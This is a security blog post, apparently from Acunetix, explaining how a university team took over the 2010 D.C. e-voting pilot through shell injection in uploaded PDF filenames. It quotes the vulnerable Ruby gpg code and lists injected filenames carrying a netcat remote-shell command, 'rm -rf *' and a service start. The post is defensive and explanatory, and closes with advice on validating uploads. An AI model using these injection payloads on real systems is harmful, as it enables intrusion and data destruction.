The District of Columbia recently attempted to give the opportunity to a number of people who live or work overseas to be able to cast their vote remotely. To do this a secure E-Voting website costing over $300,000 was built. On Tuesday, September 28 2010 the first public trial run was launched. Thirty-six hours later the voting system was hacked by a student. It took nearly three days for D.C officials to realize that their system was compromised. The trial was immediately suspended and red-faced engineers and politicians quickly scrambled to find out how this breach could possibly have happened.

In all fairness, the student was not just any student. He was the student of a class led by J. Alex Halderman, an assistant professor at the University of Michigan who specialises in computer security. Halderman heard about the public trial run of the E-Voting system just a few days before its launch and quickly assembled a team from his students. Their task was to test the site for vulnerabilities, and exploit the first security hole that they found.

The Exploit in Detail

After only 36 hours of going live, a security hole in the E-Voting Web Application was discovered. This particular vulnerability allowed an E-Voter to take near-complete ownership of the Internet Voting website allowing them to:

  • Collect data from server, including all votes and other secret information such as the E-Voter’s passwords, and the keys used to encrypt the data.
  • Modify ballots of that had already been cast. These were encrypted on the server but were cracked using the recovered keys.
  • They also installed backdoor enabling them (or someone else) to easily gain access to the system at a later time.
  • Interestingly they also embedded an anthem which played automatically on a voters browser a few seconds after his vote was cast. The song was no other than the university’s victory song.

You can see a demonstration of their anthem on the E-Voting Website here. (You need to wait 15 seconds before the song begins.)

To do all this, Halderman’s team exploited what is often called a “Shell-Injection Vulnerability”. It is part of a bigger family of vulnerabilities classified as “Code-Injection Vulnerabilities”, the same family that contains both Cross Site Scripting (XSS) and SQL Injection.

To exploit this, the team executed the following sequence of events:

  1. Fill in their e-voting form, which is in PDF format
  2. Append a Unix Shell command to the filename’s extension
  3. Upload the file, and the desired command will execute with full system privileges

Below is a diagram showing where the flaw was discovered:


A Shell-Injection vulnerability allows the attacker to inject and execute a Unix Shell command using some form of input element of the website as an attack vector.  Some examples of commands that could be executed are:
Command Description
$ netcat 9 -e /bin/bash Allow a host to execute shell commands remotely
$ rm –rf * Delete all the files and folders on the disk
$ service proftpd start Start the File Transfer service on the remote host

The attacker managed to inject shell commands in a very ingenious way. He realised that when he uploaded his vote, which is a PDF file, the server encrypts the file. It does this after running a Ruby script that “shells out” to invoke an encryption module called GNU Privacy Guard, known to UNIX hackers simply as gpg.

“Shelling out” of a script is in itself not a security flaw, it is a common practice employed by many web developers when they need to execute external commands on the server. This practice is frowned upon by many security researchers because when used incorrectly it can lead to critical security breaches, giving the attacker complete ownership of the system.

In this case, the fatal flaw was that the shell command executed by the web application made use of the extension of the file uploaded by the voter. Every character in the file name that appeared after the last period was appended to the shell command. To compound the problem, little or no validation was done to the file name after it was uploaded.

The segment below highlights the code that uses the file extension as part of the gpg encryption command.

run("rm", "-f "#{File.expand_path(dst.path)}"")
run("gpg", "--trust-model always -o "#{File.expand_path(dst.path)}" -e -r "#{@recipient}" "#{File.expand_path(src.path)}"")
rescue PaperclipCommandLineError
raise PaperclipError, "couldn't be encrypted. Please try again later."

The highlighted code above will cause the server execute the following command after a file named myvotingdocument.pdf has been uploaded:

gpg […] /tmp/stream,28957,0.pdf

If a file with a different extension were to be uploaded, for example myvotingdocument.bad, the following command will be executed on the server:

gpg […] /tmp/stream,28957,0.bad

The real trouble comes when a ‘new command’ character followed by a shell command is placed right after the last period, as shown in the following example:
The file name: ballot.$(sleep 10)pdf would run two commands:

gpg […] /tmp/stream,28957,0.
sleep 10

The command sleep 10 will cause the server to wait 10 seconds before proceeding. Whilst that is not very malicious, the following file names can cause a great deal of damage:

File name Command
ballot.$netcat 9 -e /bin/bash)pdf $ netcat 9 -e /bin/bash
ballot.$(rm –rf *)pdf $ rm –rf *
ballot.$service proftpd start)pdf $ service proftpd start
Some would argue that the security flaw does not lie in the encrypt.rb module itself, but in the part of the website that allows a user to upload a file. When a file is uploaded, its content, and file name should not be trusted. It is, after all User Input, and must be validated, checked, filtered and probed for any types of ugly things before it is passed on to other modules.
Some security researches are very critical about this. Bogdan Calin, a web application security researcher from Acunetix clearly states this in his white paper Why File Upload Forms are a Threat. In his words,

To allow an end user to upload files to your website, is like opening another door for a malicious user to compromise your server.


One has to see the irony in this story. It was a security feature of the E-Voting Application (the encryption module) that led to it’s ultimate demise. The devloper of the system was doing a secure thing, but he did this insecurely. In my opinion it was a major design flaw in the first place to allow E-Voters to upload their own files, let alone, upload PDF files, a file format that has been recently plagued by numerous security scandals.

My advice to web application developers is to limit the instances that allow for users to upload files. Where this is not possible be sure to implement additional security measures. As a minimum, file names should be checked for malicious commands, they should also be scanned for viruses before being committed to the system. Files and file names are forms of user input and just like any user input or any external data your web application receives, it can never be trusted.


Acunetix developers and tech agents regularly contribute to the blog. All the Acunetix developers come with years of experience in the web security sphere.